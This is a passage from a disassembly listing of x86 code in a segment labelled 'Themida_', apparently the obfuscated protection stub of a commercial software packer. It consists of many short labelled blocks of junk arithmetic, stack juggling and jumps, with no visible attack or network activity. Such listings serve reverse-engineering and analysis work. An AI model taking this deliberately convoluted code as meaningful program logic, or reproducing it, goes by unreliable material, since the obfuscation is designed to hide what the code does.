		jmp	loc_56401B
; ---------------------------------------------------------------------------


loc_56712B:				; CODE XREF: Themida_:005630C5j
		pop	eax
		add	edi, 5BA426C5h
		add	edi, ecx
		jmp	loc_56D1FB
; ---------------------------------------------------------------------------


loc_567139:				; CODE XREF: Themida_:0056AF6Ej
		mov	[esp], edi
		push	eax
		push	1A4E7B21h
		pop	eax
		and	eax, 2F08250Bh
		and	eax, 15A02345h
		shl	eax, 7
		xor	eax, 5F447378h
		add	eax, 0CB334376h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_571733
; ---------------------------------------------------------------------------


loc_567167:				; CODE XREF: Themida_:0056E885j
		xor	esi, edi
		not	edi
		xor	esi, edi
		jmp	loc_565F36
; ---------------------------------------------------------------------------


loc_567172:				; CODE XREF: Themida_:005637EEj
		pop	ebx
		xor	ecx, edx
		jmp	loc_55FADE
; ---------------------------------------------------------------------------


loc_56717A:				; CODE XREF: Themida_:0056ECE5j
		push	ebp
		mov	ebp, 571844B5h
		jmp	loc_56A960
; ---------------------------------------------------------------------------


loc_567185:				; CODE XREF: Themida_:0056CFC9j
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		jmp	loc_56A466
; ---------------------------------------------------------------------------


loc_5671A6:				; CODE XREF: Themida_:00567FFEj
		pop	ebp
		jmp	loc_56A7ED
; ---------------------------------------------------------------------------


loc_5671AC:				; CODE XREF: Themida_:0057050Aj
		pop	esp
		add	edx, eax
		jmp	loc_5623B4
; ---------------------------------------------------------------------------


loc_5671B4:				; CODE XREF: Themida_:005601A6j
		dec	esi
		not	esi
		not	esi
		jmp	loc_563252
; ---------------------------------------------------------------------------


loc_5671BE:				; CODE XREF: Themida_:005602FBj
		neg	edx
		xor	edx, 0BF158556h
		mov	eax, edx
		pop	edx
		jmp	loc_5720B8
; ---------------------------------------------------------------------------


loc_5671CE:				; CODE XREF: Themida_:0056B073j
		sub	ebx, 73663329h
		jmp	loc_570464
; ---------------------------------------------------------------------------


loc_5671D9:				; CODE XREF: Themida_:00565287j
		mov	ecx, [esp]
		jmp	loc_56F4F6
; ---------------------------------------------------------------------------


loc_5671E1:				; CODE XREF: Themida_:005699DCj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56172A
; ---------------------------------------------------------------------------


loc_5671EF:				; CODE XREF: Themida_:005606F2j
		push	12E8h
		mov	[esp], ebp
		push	2D595693h
		pop	ebp
		shr	ebp, 8
		jmp	loc_560975
; ---------------------------------------------------------------------------


loc_567205:				; CODE XREF: Themida_:005681FFj
		pop	esi
		sub	edi, 47EE71CBh
		sub	ebx, 77286C4Ch
		add	ebx, edi
		push	esi
		push	77286C4Ch
		pop	esi
		sub	ebx, 0EE17885h
		jmp	loc_56A4A0
; ---------------------------------------------------------------------------


loc_567226:				; CODE XREF: Themida_:0056F3AFj
		pop	ebp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56722C:				; CODE XREF: Themida_:0056A5F2j
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		xor	dl, cl
		mov	ecx, [esp]
		jmp	loc_56EA54
; ---------------------------------------------------------------------------


loc_56723D:				; CODE XREF: Themida_:0056BA23j
		push	ebx
		mov	bl, 26h
		jmp	loc_56D99C
; ---------------------------------------------------------------------------


loc_567245:				; CODE XREF: Themida_:0056EF3Fj
		mov	ecx, 745ADB0Dh
		jmp	loc_56F243
; ---------------------------------------------------------------------------


loc_56724F:				; CODE XREF: Themida_:0056D72Cj
		sub	esi, eax
		jmp	loc_566F92
; ---------------------------------------------------------------------------


loc_567256:				; CODE XREF: Themida_:0057277Fj
		push	3B704B24h
		jmp	loc_560382
; ---------------------------------------------------------------------------


loc_567260:				; CODE XREF: Themida_:005632C5j
		not	edi
		jmp	loc_5643AF
; ---------------------------------------------------------------------------


loc_567267:				; CODE XREF: Themida_:0056E60Bj
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 1F493B9Bh
		add	[esp+4], eax
		add	dword ptr [esp+4], 1F493B9Bh
		jmp	loc_56B46C
; ---------------------------------------------------------------------------


loc_56728A:				; CODE XREF: Themida_:0056659Aj
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		push	esi
		mov	esi, 6E9427B7h
		shl	esi, 8
		inc	esi
		or	esi, 65AA574Dh
		jmp	loc_5655BB
; ---------------------------------------------------------------------------


loc_5672A8:				; CODE XREF: Themida_:005741BAj
		mov	ecx, 9315CEAh
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		sub	eax, 0F6A40FBCh
		jmp	loc_566657
; ---------------------------------------------------------------------------


loc_5672BD:				; CODE XREF: Themida_:00572591j
		mov	ebx, 170C0321h
		shl	ebx, 2
		xor	ebx, 3721C02h
		neg	ebx
		inc	ebx
		sub	ebx, 0A0BDEF77h
		add	esi, ebx
		jmp	loc_56F04C
; ---------------------------------------------------------------------------


loc_5672DB:				; CODE XREF: Themida_:005630E7j
		not	bl
		add	bl, 33h
		and	ah, bl
		pop	ebx
		inc	ah
		push	ecx
		mov	cl, 0BAh
		push	eax
		jmp	loc_56DE15
; ---------------------------------------------------------------------------


loc_5672EE:				; CODE XREF: Themida_:0056C25Bj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_565476
; ---------------------------------------------------------------------------


loc_5672FC:				; CODE XREF: Themida_:00571971j
		pop	esp
		jmp	loc_5679FB
; ---------------------------------------------------------------------------


loc_567302:				; CODE XREF: Themida_:00572494j
		push	1B94041Bh
		pop	eax
		shl	eax, 7
		shr	eax, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 79E71F4Fh
		shr	ebp, 6
		add	ebp, 46873EBh
		jmp	loc_563697
; ---------------------------------------------------------------------------


loc_567327:				; CODE XREF: Themida_:0056C31Bj
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		jmp	loc_56CD23
; ---------------------------------------------------------------------------


loc_567334:				; CODE XREF: Themida_:0056F269j
		pop	eax
		sub	al, bl
		mov	bx, [esp]
		add	esp, 2
		dec	al
		jmp	loc_57364F
; ---------------------------------------------------------------------------


loc_567348:				; CODE XREF: Themida_:0055FD85j
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_566BFD
; ---------------------------------------------------------------------------


loc_567352:				; CODE XREF: Themida_:00572DCCj
		pop	ecx
		jmp	loc_5674C1
; ---------------------------------------------------------------------------


loc_567358:				; CODE XREF: Themida_:0056D1CCj
		pop	eax
		push	eax
		jmp	loc_571638
; ---------------------------------------------------------------------------


loc_56735F:				; CODE XREF: Themida_:00570879j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56B513
; ---------------------------------------------------------------------------


loc_567370:				; CODE XREF: Themida_:00561E7Bj
		mov	esi, 154C134Fh
		push	ebx
		mov	ebx, 161103Ch
		jmp	loc_56CAE0
; ---------------------------------------------------------------------------


loc_567380:				; CODE XREF: Themida_:00572BEDj
		or	eax, eax
		jz	loc_5738D2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	66D5h
		jmp	loc_571B14
; ---------------------------------------------------------------------------


loc_5673A0:				; CODE XREF: Themida_:0057471Dj
		mov	ah, 0D7h
		sub	ch, 0D9h
		sub	ch, ah
		jmp	loc_573404
; ---------------------------------------------------------------------------


loc_5673AC:				; CODE XREF: Themida_:0056466Fj
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ecx
		push	3398h
		mov	[esp], edx
		push	ecx
		mov	ecx, 5E6956CBh
		push	ebx
		jmp	loc_566190
; ---------------------------------------------------------------------------


loc_5673CC:				; CODE XREF: Themida_:0056EDA7j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	18F7h
		jmp	loc_5725B9
; ---------------------------------------------------------------------------


loc_5673E7:				; CODE XREF: Themida_:00563190j
		push	ebx
		mov	bl, 85h
		jmp	loc_573D95
; ---------------------------------------------------------------------------


loc_5673EF:				; CODE XREF: Themida_:005738FFj
		add	esp, 4
		add	eax, 0BE16781Ah
		jmp	loc_57397B
; ---------------------------------------------------------------------------


loc_5673FF:				; CODE XREF: Themida_:00568B8Cj
		xor	esi, 10884B37h
		add	ecx, esi
		jmp	loc_570EF1
; ---------------------------------------------------------------------------


loc_56740C:				; CODE XREF: Themida_:00571F6Fj
		or	eax, eax
		jz	loc_57004B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56582D
; ---------------------------------------------------------------------------


loc_567433:				; CODE XREF: Themida_:005623A6j
		mov	eax, 4
		sub	ebx, 25E607AFh
		jmp	loc_5702F0
; ---------------------------------------------------------------------------


loc_567443:				; CODE XREF: Themida_:00562DDEj
		pop	eax
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5736A2
; ---------------------------------------------------------------------------


loc_567455:				; CODE XREF: Themida_:00572CA4j
		sub	ecx, 72737400h
		jmp	loc_560286
; ---------------------------------------------------------------------------


loc_567460:				; CODE XREF: Themida_:00572FFDj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56CE2B
; ---------------------------------------------------------------------------


loc_567469:				; CODE XREF: Themida_:0056AB70j
		or	eax, 2FF54ACFh
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		push	4169h
		mov	[esp], ebp
		mov	ebp, 456B11E4h
		and	eax, ebp
		jmp	loc_5652CC
; ---------------------------------------------------------------------------


loc_56748F:				; CODE XREF: Themida_:005691C3j
		sub	edi, 0D1E2BCBh
		pop	ecx
		sub	edx, edi
		mov	edi, [esp]
		push	47C5h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5713D4
; ---------------------------------------------------------------------------


loc_5674AD:				; CODE XREF: Themida_:00572E06j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	19D8h
		jmp	loc_5722E7
; ---------------------------------------------------------------------------


loc_5674C1:				; CODE XREF: Themida_:00567353j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	99A4ABAh
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 62C343Fh
		jmp	loc_5644C1
; ---------------------------------------------------------------------------


loc_5674E8:				; CODE XREF: Themida_:0056BC3Ej
		add	ebx, edi
		pop	edi
		jmp	loc_56BE0B
; ---------------------------------------------------------------------------


loc_5674F0:				; CODE XREF: Themida_:0056F9CAj
		mov	[esp], ebx
		push	11E8h
		jmp	loc_56B70E
; ---------------------------------------------------------------------------


loc_5674FD:				; CODE XREF: Themida_:00568B01j
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56C15C
; ---------------------------------------------------------------------------


loc_567509:				; CODE XREF: Themida_:0056AAE3j
		push	edi
		mov	edi, 149C65D7h
		mov	ecx, 155E6955h
		xor	ecx, edi
		jmp	loc_57472C
; ---------------------------------------------------------------------------


loc_56751B:				; CODE XREF: Themida_:0056EAA2j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 7DD233F1h
		jmp	loc_5700AE
; ---------------------------------------------------------------------------


loc_567535:				; CODE XREF: Themida_:0057153Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C9FE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567558:				; CODE XREF: Themida_:005705A9j
		mov	al, 28h
		sub	al, dl
		pop	edx
		sub	bl, al
		mov	ax, [esp]
		jmp	loc_56FF89
; ---------------------------------------------------------------------------


loc_567568:				; CODE XREF: Themida_:005602C2j
		mov	cl, 52h
		sub	al, cl
		pop	cx
		add	al, 0D5h
		sub	al, ch
		jmp	loc_56CCCF
; ---------------------------------------------------------------------------


loc_567577:				; CODE XREF: Themida_:0056361Ej
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_563233
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 85h
		push	edx
		mov	dh, 43h
		shr	dh, 5
		add	dh, 66h
		or	dh, 0
		shr	dh, 7
		sub	dh, 55h
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, bl
		jmp	loc_5607EE
; ---------------------------------------------------------------------------


loc_5675C4:				; CODE XREF: Themida_:0056C09Ej
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	0C0Dh
		mov	[esp], esp
		push	edi
		jmp	loc_570483
; ---------------------------------------------------------------------------


loc_5675DB:				; CODE XREF: Themida_:00562D3Cj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		push	ebp
		push	528C2CFCh
		jmp	loc_567FC4
; ---------------------------------------------------------------------------


loc_567616:				; CODE XREF: Themida_:005615ACj
		sub	bl, al
		jmp	loc_5718DD
; ---------------------------------------------------------------------------


loc_56761D:				; CODE XREF: Themida_:0056874Fj
		add	esp, 2
		sub	bh, 0B7h
		add	bh, 38h
		sub	bh, cl
		sub	bh, 38h
		add	bh, 0B7h
		pop	ecx
		jmp	loc_56528C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	404Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	7504h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55FD03
; ---------------------------------------------------------------------------


loc_567665:				; CODE XREF: Themida_:00563E67j
		pop	edx
		jmp	loc_568A54
; ---------------------------------------------------------------------------


loc_56766B:				; CODE XREF: Themida_:005711BCj
		sub	eax, 1
		jmp	loc_57092D
; ---------------------------------------------------------------------------


loc_567673:				; CODE XREF: Themida_:0056D9C1j
		add	esp, 4
		xor	bl, al
		push	5DB4h
		jmp	loc_561290
; ---------------------------------------------------------------------------


loc_567685:				; CODE XREF: Themida_:005652AEj
		push	esi
		push	2329h
		jmp	loc_56A044
; ---------------------------------------------------------------------------


loc_567690:				; CODE XREF: Themida_:00564D55j
		add	edi, 48F86812h
		add	edi, ecx
		sub	edi, 48F86812h
		push	dword ptr [esp]
		jmp	loc_564CBB
; ---------------------------------------------------------------------------


loc_5676A6:				; CODE XREF: Themida_:0056232Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5638EF
; ---------------------------------------------------------------------------


loc_5676B4:				; CODE XREF: Themida_:005708BFj
		sub	esp, 4
		jmp	loc_574044
; ---------------------------------------------------------------------------


loc_5676BF:				; CODE XREF: Themida_:00564E81j
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5728E7
; ---------------------------------------------------------------------------


loc_5676CB:				; CODE XREF: Themida_:00567CBFj
		add	esi, 4
		jmp	loc_5702DF
; ---------------------------------------------------------------------------


loc_5676D3:				; CODE XREF: Themida_:0056FB9Fj
		xor	ebp, 1E3A3F4Bh
		jmp	loc_5712F1
; ---------------------------------------------------------------------------


loc_5676DE:				; CODE XREF: Themida_:0057320Ej
		add	esp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56820F
; ---------------------------------------------------------------------------


loc_5676F2:				; CODE XREF: Themida_:0056ADADj
		pop	eax
		dec	eax
		push	esi
		mov	esi, 17A6852h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 51F119F7h
		dec	ebp
		inc	ebp
		sub	ebp, 0C24D3E46h
		sub	eax, ebp
		pop	ebp
		push	7F01h
		mov	[esp], eax
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56BED3
; ---------------------------------------------------------------------------


loc_567735:				; CODE XREF: Themida_:0056BD7Ej
		pop	ecx
		or	ah, dl
		jmp	loc_56A406
; ---------------------------------------------------------------------------


loc_56773D:				; CODE XREF: Themida_:00560832j
		push	edi
		push	0E90h
		mov	[esp], ecx
		mov	ecx, 66B918EDh
		jmp	loc_561C7F
; ---------------------------------------------------------------------------


loc_567750:				; CODE XREF: Themida_:005663B5j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebp
		sub	edx, 4D6C4064h
		add	edx, ebx
		add	edx, 4D6C4064h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 2
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_565650
; ---------------------------------------------------------------------------


loc_5677A4:				; CODE XREF: Themida_:0056B81Bj
		add	edi, 1
		add	edi, 0FFFFFFFFh
		neg	edi
		jmp	loc_56E37A
; ---------------------------------------------------------------------------


loc_5677B4:				; CODE XREF: Themida_:005641D7j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_570D54
; ---------------------------------------------------------------------------


loc_5677CA:				; CODE XREF: Themida_:005726D8j
		push	esp
		pop	ebp
		jmp	loc_56C087
; ---------------------------------------------------------------------------


loc_5677D1:				; CODE XREF: Themida_:00564CC0j
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_570061
; ---------------------------------------------------------------------------


loc_5677DD:				; CODE XREF: Themida_:00573953j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_567FD3
; ---------------------------------------------------------------------------


loc_5677E8:				; CODE XREF: Themida_:00567A8Ej
		push	edi
		mov	edi, 2D20098h
		mov	esi, 2701A4Ch
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_566132
; ---------------------------------------------------------------------------


loc_567806:				; CODE XREF: Themida_:00569A41j
		xor	edx, 0B2866359h
		jmp	loc_562068
; ---------------------------------------------------------------------------


loc_567811:				; CODE XREF: Themida_:0056B647j
		add	esi, 20EB1231h
		sub	esi, 189D206Eh
		shr	esi, 1
		jmp	loc_569197
; ---------------------------------------------------------------------------


loc_567824:				; CODE XREF: Themida_:00569CFBj
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_571541
; ---------------------------------------------------------------------------


loc_567833:				; CODE XREF: Themida_:005650C0j
		sub	esi, 0A9643A1h
		sub	esi, 7DC02492h
		pop	ebx
		add	eax, 53687997h
		add	eax, 5013112h
		jmp	loc_56F60A
; ---------------------------------------------------------------------------


loc_56784F:				; CODE XREF: Themida_:00561BCFj
		add	bx, 7E0Fh
		push	esi
		mov	si, 7711h
		push	cx
		mov	cx, 4E29h
		jmp	loc_569C4E
; ---------------------------------------------------------------------------


loc_567864:				; CODE XREF: Themida_:0056EE85j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_566EA5
; ---------------------------------------------------------------------------


loc_567886:				; CODE XREF: Themida_:00566583j
		pop	ecx
		jmp	loc_56D3C1
; ---------------------------------------------------------------------------


loc_56788C:				; CODE XREF: Themida_:00563B99j
		pop	ecx
		push	dx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 29h
		mov	cl, al
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, cl
		mov	dl, al
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 12h
		jmp	loc_56B10E
; ---------------------------------------------------------------------------


loc_5678BA:				; CODE XREF: Themida_:00568F4Aj
		shl	al, 6
		jmp	loc_56F260
; ---------------------------------------------------------------------------


loc_5678C2:				; CODE XREF: Themida_:0056ADB5j
		mov	ah, 23h
		sub	ah, 0E3h
		sub	ah, bl
		jmp	loc_573303
; ---------------------------------------------------------------------------


loc_5678CE:				; CODE XREF: Themida_:005682A3j
		add	ah, cl
		pop	ecx
		sub	ah, 9Ch
		mov	cl, ah
		pop	eax
		jmp	loc_561654
; ---------------------------------------------------------------------------


loc_5678DC:				; CODE XREF: Themida_:00571015j
		pop	ecx
		neg	eax
		shl	eax, 6
		and	eax, 56481D85h
		xor	eax, 24926171h
		and	ecx, eax
		pop	eax
		sub	ecx, 0C372933Dh
		jmp	loc_560C9C
; ---------------------------------------------------------------------------


loc_5678FA:				; CODE XREF: Themida_:0056BE6Aj
		xor	esi, ecx
		jmp	loc_56AE9F
; ---------------------------------------------------------------------------


loc_567901:				; CODE XREF: Themida_:00572701j
		add	al, 56h
		add	al, 0D8h
		jmp	loc_56E1DF
; ---------------------------------------------------------------------------


loc_56790A:				; CODE XREF: Themida_:005688BBj
		inc	edi
		inc	edi
		push	ebx
		mov	ebx, 69276BDh
		xor	edi, ebx
		pop	ebx
		add	ebp, 68703C62h
		sub	ebp, 6F036A0Dh
		add	ebp, edi
		add	ebp, 6F036A0Dh
		sub	ebp, 68703C62h
		pop	edi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5666CF
; ---------------------------------------------------------------------------


loc_56793E:				; CODE XREF: Themida_:00561F87j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_572331
; ---------------------------------------------------------------------------


loc_567955:				; CODE XREF: Themida_:00564793j
		add	ebx, 6D7B24C4h
		pop	edx
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_568BB4
; ---------------------------------------------------------------------------


loc_567966:				; CODE XREF: Themida_:0056D06Ej
		add	esp, 4
		push	ebx
		mov	ebx, 1E6322C8h
		jmp	loc_561511
; ---------------------------------------------------------------------------


loc_567977:				; CODE XREF: Themida_:005713AAj
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		jmp	loc_56F839
; ---------------------------------------------------------------------------


loc_567986:				; CODE XREF: Themida_:00570A53j
		add	ebx, eax
		mov	ecx, [ebx]
		mov	ebx, [esp]
		push	7C26h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56895B
; ---------------------------------------------------------------------------


loc_5679A9:				; CODE XREF: Themida_:005729B2j
		mov	edi, 3A17EC6h
		not	edi
		jmp	loc_56CB64
; ---------------------------------------------------------------------------


loc_5679B5:				; CODE XREF: Themida_:00560202j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		jmp	loc_560A9C
; ---------------------------------------------------------------------------


loc_5679C0:				; CODE XREF: Themida_:0056B0BEj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5679C5:				; CODE XREF: Themida_:00571AD7j
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 66356471h
		sub	ecx, 6635646Dh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5604AD
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 652B741Ah
		mov	eax, [esp]
		jmp	loc_566D69
; ---------------------------------------------------------------------------


loc_5679FB:				; CODE XREF: Themida_:005672FDj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5603FA
; ---------------------------------------------------------------------------


loc_567A10:				; CODE XREF: Themida_:005653AEj
		pop	ebp
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5739E3
; ---------------------------------------------------------------------------


loc_567A1C:				; CODE XREF: Themida_:0055FFFCj
		mov	ebx, 7A2C416Fh
		jmp	loc_570151
; ---------------------------------------------------------------------------


loc_567A26:				; CODE XREF: Themida_:0056F6CCj
		push	65ABh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	ebx
		jmp	loc_5721CB
; ---------------------------------------------------------------------------


loc_567A3E:				; CODE XREF: Themida_:00573BF2j
		pop	edx
		push	ebx
		mov	ebx, 4
		jmp	loc_56481F
; ---------------------------------------------------------------------------


loc_567A4A:				; CODE XREF: Themida_:00561777j
		add	eax, 4
		jmp	loc_5686F5
; ---------------------------------------------------------------------------


loc_567A54:				; CODE XREF: Themida_:0056A871j
		add	edx, 0C25A2559h
		mov	edi, edx
		pop	edx
		jmp	loc_567E6E
; ---------------------------------------------------------------------------


loc_567A62:				; CODE XREF: Themida_:0056C11Dj
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		jmp	loc_5627BF
; ---------------------------------------------------------------------------


loc_567A6E:				; CODE XREF: Themida_:0056FCC2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5677E8
; ---------------------------------------------------------------------------


loc_567A93:				; CODE XREF: Themida_:00569F2Aj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7C207B5Ah
		or	edx, 2F2B237Fh
		jmp	loc_56E33F
; ---------------------------------------------------------------------------


loc_567AAC:				; CODE XREF: Themida_:0056CCF4j
		not	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, 32964A36h
		sub	ebx, 4E594638h
		shl	ebx, 7
		jmp	loc_561CAE
; ---------------------------------------------------------------------------


loc_567AC4:				; CODE XREF: Themida_:0055FF18j
		push	ebp
		jmp	loc_56DC22
; ---------------------------------------------------------------------------


loc_567ACA:				; CODE XREF: Themida_:00565DDBj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	ebp, 6
		not	ebp
		not	ebp
		inc	ebp
		add	ebp, 4F4BEC3h
		add	esi, ebp
		pop	ebp
		push	ebp
		push	eax
		mov	eax, 72576011h
		add	eax, 0F6AAE049h
		mov	ebp, eax
		pop	eax
		dec	ebp
		not	ebp
		jmp	loc_55F7C9
; ---------------------------------------------------------------------------


loc_567B04:				; CODE XREF: Themida_:005666D2j
		add	eax, 4
		jmp	loc_570DBC
; ---------------------------------------------------------------------------


loc_567B0E:				; CODE XREF: Themida_:0056295Dj
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_56679D
; ---------------------------------------------------------------------------


loc_567B1A:				; CODE XREF: Themida_:005627C7j
		push	6D6Ah
		jmp	loc_56D7E7
; ---------------------------------------------------------------------------


loc_567B24:				; CODE XREF: Themida_:00564E64j
		push	ecx
		mov	ecx, 1BF745B3h
		mov	ebp, 849481E8h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56A505
; ---------------------------------------------------------------------------


loc_567B37:				; CODE XREF: Themida_:00567B69j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		push	ebp
		push	ecx
		mov	ecx, 1C5546CCh
		jmp	loc_56D97E
; ---------------------------------------------------------------------------


loc_567B4F:				; CODE XREF: Themida_:00561583j
		pop	esp
		jmp	loc_56224C
; ---------------------------------------------------------------------------


loc_567B55:				; CODE XREF: Themida_:00568BAFj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564517
; ---------------------------------------------------------------------------


loc_567B60:				; CODE XREF: Themida_:00565A55j
		not	eax
		xor	eax, 30DF495Fh
		add	edi, eax
		jmp	loc_567B37
; ---------------------------------------------------------------------------


loc_567B6E:				; CODE XREF: Themida_:0057015Aj
		add	edi, 7469627Bh
		add	edi, esi
		sub	edi, 7469627Bh
		mov	esi, [esp]
		push	3CE9h
		mov	[esp], eax
		jmp	loc_5604EC
; ---------------------------------------------------------------------------


loc_567B8C:				; CODE XREF: Themida_:0056FE4Dj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_565387
; ---------------------------------------------------------------------------


loc_567B9D:				; CODE XREF: Themida_:0056800Bj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_56BC84
; ---------------------------------------------------------------------------


loc_567BAD:				; CODE XREF: Themida_:0057416Aj
		pop	edx
		neg	ebx
		push	eax
		mov	eax, 31D03949h


loc_567BB6:				; DATA XREF: Themida_:005A04B8o
		and	eax, 28A3C5Eh
		jmp	loc_5607C6
; ---------------------------------------------------------------------------


loc_567BC0:				; CODE XREF: Themida_:00571527j
		xor	edx, 7D243ABFh
		push	edx
		pop	esi
		pop	edx
		inc	esi
		or	esi, 75E3B06h
		add	esi, 584D64BEh
		add	ebx, esi
		pop	esi
		jmp	loc_568785
; ---------------------------------------------------------------------------


loc_567BDE:				; CODE XREF: Themida_:00570A1Ej
		and	ebp, 4AB00F44h
		add	ebp, 4271EB8h
		mov	edx, ebp
		pop	ebp
